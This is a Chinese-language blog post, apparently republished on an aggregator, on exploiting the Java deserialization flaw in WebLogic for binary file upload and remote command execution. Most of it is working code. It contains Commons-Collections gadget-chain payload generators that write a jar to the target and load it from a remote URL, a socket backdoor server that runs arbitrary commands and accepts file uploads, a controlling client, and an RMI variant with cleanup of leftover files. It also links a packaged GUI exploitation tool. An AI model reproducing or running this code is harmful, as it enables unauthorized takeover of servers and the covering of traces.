WebLogic之Java反序列化漏洞利用實現二進位制檔案上傳和命令執行
0x00 簡介
Java反序列化漏洞由來已久,在WebLogic和JBoss等著名伺服器上都曝出存在此漏洞。FoxGlove Security安全團隊的breenmachine給出了詳細的分析,但沒有給出更近一步的利用方式。前段時間rebeyond在不需要連線公網的情況下使用RMI的方式在WebLogic上實現了文字檔案上傳和命令執行,但沒有實現二進位制檔案上傳。我透過使用Socket的方式實現了二進位制檔案上傳和命令執行,同時也實現了RMI方式的二進位制檔案。
0x01 思路
首先發Payload在目標伺服器中寫入一個Socket實現的迷你伺服器類,所有的功能都將由這個迷你伺服器來執行,然後再發一個Payload來啟動伺服器,最後本地客戶端建立Socket連線的方式向伺服器傳送請求來使用相應的功能,其中上傳二進位制檔案我採用分塊傳輸的思想,這樣可以實現上傳較大的檔案。
- 本地建立Socket實現的迷你伺服器類並匯出jar包
- 把jar包上傳至目標伺服器
- 啟動目標伺服器上的迷你伺服器
- 使用二進位制檔案上傳和命令執行功能
- 傳送關閉請求,清理目標伺服器殘留檔案
0x02 實現
1.本地建立Socket實現的迷你伺服器類並匯出jar包
#!java
public class Server {
/**
* 啟動伺服器
* @param port
* @param path
*/
public static void start(int port, String path) {
ServerSocket server = null;
Socket client = null;
InputStream input = null;
OutputStream out = null;
Runtime runTime = Runtime.getRuntime();
try {
server = new ServerSocket(port);
// 0表示功能模式 1表示傳輸模式
int opcode = 0;
int len = 0;
byte[] data = new byte[100 * 1024];
String uploadPath = "";
boolean isUploadStart = false;
client = server.accept();
input = client.getInputStream();
out = client.getOutputStream();
byte[] overData = { 0, 0, 0, 6, 6, 6, 8, 8, 8 };
while (true) {
len = input.read(data);
if (len != -1) {
if (opcode == 0) {
// 功能模式
String operation = new String(data, 0, len);
String[] receive = operation.split(":::");
if ("bye".equals(receive[0])) {
// 斷開連線 關閉伺服器
out.write("success".getBytes());
out.flush();
FileOutputStream outputStream = new FileOutputStream(path);
// 清理殘留檔案
outputStream.write("".getBytes());
outputStream.flush();
outputStream.close();
break;
} else if ("cmd".equals(receive[0])) {
// 執行命令 返回結果
try {
Process proc = runTime.exec(receive[1]);
InputStream in = proc.getInputStream();
byte[] procData = new byte[1024];
byte[] total = new byte[0];
int procDataLen = 0;
while ((procDataLen = in.read(procData)) != -1) {
byte[] temp = new byte[procDataLen];
for (int i = 0; i < procDataLen; i++) {
temp[i] = procData[i];
}
total = byteMerger(total, temp);
}
if (total.length == 0) {
out.write("error".getBytes());
} else {
out.write(total);
}
out.flush();
} catch (Exception e) {
e.printStackTrace();
out.write("error".getBytes());
out.flush();
}
} else if ("upload".equals(receive[0])) {
// 切換成傳輸模式
uploadPath = receive[1];
isUploadStart = true;
opcode = 1;
}
} else if (opcode == 1) {
// 傳輸模式
byte[] receive = new byte[len];
for (int i = 0; i < len; i++) {
receive[i] = data[i];
}
if (Arrays.equals(overData, receive)) {
// 傳輸結束切換成功能模式
isUploadStart = false;
opcode = 0;
} else {
// 分塊接收
FileOutputStream outputStream = null;
if (isUploadStart) {
// 接收檔案的開頭部分
outputStream = new FileOutputStream(uploadPath, false);
outputStream.write(receive);
isUploadStart = false;
} else {
// 接收檔案的結束部分
outputStream = new FileOutputStream(uploadPath, true);
outputStream.write(receive);
}
outputStream.close();
}
}
} else {
Thread.sleep(1000);
}
}
} catch (Exception e) {
e.printStackTrace();
try {
out.write("error".getBytes());
out.flush();
} catch (IOException e1) {
e1.printStackTrace();
}
} finally {
try {
client.close();
server.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
/**
* 合併位元組陣列
* @param byte_1
* @param byte_2
* @return 合併後的陣列
*/
private static byte[] byteMerger(byte[] byte_1, byte[] byte_2) {
byte[] byte_3 = new byte[byte_1.length + byte_2.length];
System.arraycopy(byte_1, 0, byte_3, 0, byte_1.length);
System.arraycopy(byte_2, 0, byte_3, byte_1.length, byte_2.length);
return byte_3;
}
}
編譯並匯出jar包
2.傳送Payload把jar包上傳至伺服器
這裡我要特別說明一點,breenmachine在介紹WebLogic漏洞利用時特別說明了需要計算Payload的長度,但是我看到過的國內文章沒有一篇提到這一點,給出的利用程式碼中的Payload長度值寫的都是原作者的09f3
,我覺得這也是導致漏洞利用失敗的主要原因之一,因此傳送Payload前最好計算下長度。
A very important point about the first chunk of the payload. Notice the first 4 bytes “00 00 09 f3”. The “09 f3” is the specification for the TOTAL payload length in bytes.
Payload的長度值可以在一個範圍內,我們團隊的cf_hb經過fuzz測試得到幾個範圍值:
- poc訪問指定url:0x0000-0x1e39
- 反彈shell:0x000-0x2049
- 執行命令calc.exe:0x0000-0x1d38
這一步生成上傳jar包的Payload
#!java
public static byte[] generateServerPayload(String remotePath) throws Exception {
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(FileOutputStream.class),
new InvokerTransformer("getConstructor",
new Class[] { Class[].class },
new Object[] { new Class[] { String.class } }),
new InvokerTransformer("newInstance",
new Class[] { Object[].class },
new Object[] { new Object[] { remotePath } }),
new InvokerTransformer("write", new Class[] { byte[].class },
new Object[] { Utils.hexStringToBytes(SERVER_JAR) }),
new ConstantTransformer(1) };
return generateObject(transformers);
}
傳送到目標伺服器寫入jar包
3.傳送Payload啟動目標伺服器上的迷你伺服器
生成啟動伺服器的Payload
#!java
public static byte[] generateStartPayload(String remoteClassPath, String remotePath, int port) throws Exception {
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(URLClassLoader.class),
new InvokerTransformer("getConstructor",
new Class[] { Class[].class },
new Object[] { new Class[] { URL[].class } }),
new InvokerTransformer("newInstance",
new Class[] { Object[].class },
new Object[] { new Object[] { new URL[] { new URL(remoteClassPath) } } }),
new InvokerTransformer("loadClass",
new Class[] { String.class },
new Object[] { "org.heysec.exp.Server" }),
new InvokerTransformer("getMethod",
new Class[] { String.class, Class[].class },
new Object[] { "start", new Class[] { int.class, String.class } }),
new InvokerTransformer("invoke",
new Class[] { Object.class, Object[].class },
new Object[] { null, new Object[] { port, remotePath } }) };
return generateObject(transformers);
}
傳送到目標伺服器啟動迷你伺服器
4.使用二進位制檔案上傳和命令執行功能
本地測試客戶端的程式碼
#!java
public class Client {
public static void main(String[] args) {
Socket client = null;
InputStream input = null;
OutputStream output = null;
FileInputStream fileInputStream = null;
try {
int len = 0;
byte[] receiveData = new byte[5 * 1024];
byte[] sendData = new byte[100 * 1024];
int sendLen = 0;
byte[] overData = { 0, 0, 0, 6, 6, 6, 8, 8, 8 };
// 建立客戶端Socket
client = new Socket("10.10.10.129", 8080);
input = client.getInputStream();
output = client.getOutputStream();
// 傳送準備上傳檔案命令使伺服器切換到傳輸模式
output.write("upload:::test.zip".getBytes());
output.flush();
Thread.sleep(1000);
// 分塊傳輸檔案
fileInputStream = new FileInputStream("F:/安全集/tools/BurpSuite_pro_v1.6.27.zip");
sendLen = fileInputStream.read(sendData);
if (sendLen != -1) {
output.write(Arrays.copyOfRange(sendData, 0, sendLen));
output.flush();
Thread.sleep(1000);
while ((sendLen = fileInputStream.read(sendData)) != -1) {
output.write(Arrays.copyOfRange(sendData, 0, sendLen));
output.flush();
}
}
Thread.sleep(1000);
// 傳送檔案上傳結束命令
output.write(overData);
output.flush();
Thread.sleep(1000);
// 執行命令
output.write("cmd:::cmd /c dir".getBytes());
output.flush();
Thread.sleep(1000);
// 接收返回結果
len = input.read(receiveData);
String result = new String(receiveData, 0, len, "GBK");
System.out.println(result);
Thread.sleep(1000);
// 關閉伺服器
output.write("bye".getBytes());
output.flush();
Thread.sleep(1000);
len = input.read(receiveData);
System.out.println(new String(receiveData, 0, len));
} catch (Exception e) {
e.printStackTrace();
} finally {
try {
fileInputStream.close();
client.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}
}
測試結果1
測試結果2
5. 傳送關閉請求清理殘留檔案
客戶端傳送關閉請求
#!java
output.write("bye".getBytes());
output.flush();
伺服器清除殘留檔案並關閉
#!java
if ("bye".equals(receive[0])) {
// 斷開連線 關閉伺服器
out.write("success".getBytes());
out.flush();
FileOutputStream outputStream = new FileOutputStream(path);
// 清理殘留檔案
outputStream.write("".getBytes());
outputStream.flush();
outputStream.close();
break;
}
這就是按照我的思路實現的全部過程
0x03 RMI方式實現二進位制檔案上傳及最佳化流程
這部分只是對rebeyond的利用方式進行了擴充套件,新增了二進位制檔案上傳的功能以及最佳化了流程。
擴充套件的遠端類
#!java
public class RemoteObjectImpl implements RemoteObject {
/**
* 分塊上傳檔案
*/
public boolean upload(String uploadPath, byte[] data, boolean append) {
FileOutputStream out = null;
try {
out = new FileOutputStream(uploadPath, append);
out.write(data);
return true;
} catch (Exception e) {
e.printStackTrace();
return false;
} finally {
try {
out.close();
} catch (Exception e) {
e.printStackTrace();
return false;
}
}
}
/**
* 執行命令
*/
public String exec(String cmd) {
try {
Process proc = Runtime.getRuntime().exec(cmd);
BufferedReader br = new BufferedReader(new InputStreamReader(
proc.getInputStream()));
StringBuffer sb = new StringBuffer();
String line;
String result;
while ((line = br.readLine()) != null) {
sb.append(line).append("\n");
}
result = sb.toString();
if ("".equals(result)) {
return "error";
} else {
return result;
}
} catch (Exception e) {
e.printStackTrace();
return "error";
}
}
/**
* 反註冊遠端類並清除殘留檔案
*/
public void unbind(String path) {
try {
Context ctx = new InitialContext();
ctx.unbind("RemoteObject");
} catch (Exception e) {
e.printStackTrace();
}
FileOutputStream out = null;
File file = null;
try {
file = new File(path);
out = new FileOutputStream(file);
out.write("".getBytes());
} catch (Exception e) {
e.printStackTrace();
} finally {
try {
out.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}
/**
* 註冊遠端類
*/
public static void bind() {
try {
RemoteObjectImpl remote = new RemoteObjectImpl();
Context ctx = new InitialContext();
ctx.bind("RemoteObject", remote);
} catch (Exception e) {
e.printStackTrace();
}
}
}
這樣最後反註冊和清除殘留檔案的時候就不需要再傳送Payload了,只要呼叫遠端類的unbind方法就行。
0x04 Socket VS RMI
VS | Socket | RMI |
---|---|---|
埠 | 需要額外埠可能被防火牆攔截 | 使用WebLogic本身埠 |
傳輸速率 | 透過Socket位元組流較快 | 透過遠端過程呼叫較慢 |
0x05 總結
這裡以建立Socket伺服器的思想實現了漏洞利用,我們可以繼續擴充套件伺服器的功能,甚至其他的程式碼執行漏洞也可以嘗試這種方式,在傳輸較大檔案時建議優先使用Socket方式。最後,我開發了GUI程式整合了Socket和RMI兩種利用方式,大家可以自主選擇。
Socket利用方式
RMI利用方式
下載連結:http://pan.baidu.com/s/1pKuR9GJ 密碼:62x4
0x06 參考連結
- http://www.freebuf.com/vuls/90802.html
- http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
相關文章
- JAX-WS - 二進位制處理之MTOM(檔案上傳)2014-06-30
- 6.3建立自己執行的二進位制檔案2020-10-25
- 通過Nvidia簽名的二進位制檔案執行系統命令2018-05-24
- 使用 JavaScript 上傳 PDF 和 Excel 等二進位制檔案到 ABAP 伺服器並進行解析2021-11-17JavaScriptExcel伺服器
- Weblogic修復"Java反序列化"過程遠端命令執行漏洞2017-07-25WebJava
- Java二進位制Class檔案格式解析2014-04-03Java
- C語言實現檔案複製功能(包括文字檔案和二進位制檔案)2018-05-08C語言
- UE複製貼上二進位制檔案2013-04-03
- 二進位制漏洞挖掘之整數溢位2024-02-01
- WebLogic 任意檔案上傳遠端程式碼執行_CVE-2018-2894漏洞復現2019-07-14Web
- 二進位制檔案複製2016-10-19
- php寫二進位制檔案2017-11-18PHP
- 二進位制檔案拷貝2011-06-17
- 二進位制反碼求和2018-05-13
- od 轉儲 二進位制檔案常用命令2018-08-06
- 淺談從原始碼檔案到二進位制可執行檔案的過程2012-11-09原始碼
- 二進位制檔案視覺化(二)2022-06-02視覺化
- 判斷檔案為文字檔案還是二進位制檔案(C語言實現)2022-05-10C語言
- 檔案上傳原理和實現2019-03-11
- 使用java的MultipartFile實現layui官網檔案上傳實現全部示例,java檔案上傳2019-07-13JavaUI
- js實現帶上傳進度的檔案上傳2019-01-13JS
- 檔案操作(二進位制拷貝)2019-07-21
- Git處理二進位制檔案2018-07-14Git
- MySQL二進位制檔案(binlog)2020-12-04MySql
- PHP CURL 上傳二進位制流圖片2020-12-25PHP
- Java檔案上傳如何實現呢?2021-03-24Java
- 檔案上傳漏洞2024-08-31
- ABAP 報表中如何以二進位制方式上傳本地檔案試讀版2022-08-12
- Web 安全漏洞之檔案上傳2019-07-01Web
- 進位制詳解:二進位制、八進位制和十六進位制2021-07-07
- 開啟和設定mysql 二進位制檔案位置2015-03-02MySql
- [二進位制漏洞]棧(Stack)溢位漏洞 Linux篇2022-06-19Linux
- 【原創】WebService大講堂之Axis2(4):二進位制檔案傳輸2009-02-04Web
- 網站漏洞修復之Metinfo 檔案上傳漏洞2019-07-12網站
- 文字檔案與二進位制檔案的區別2011-08-05
- Python讀寫二進位制檔案2017-12-25Python
- c++ 二進位制儲存檔案2014-03-30C++
- C#的二進位制檔案操作2013-09-20C#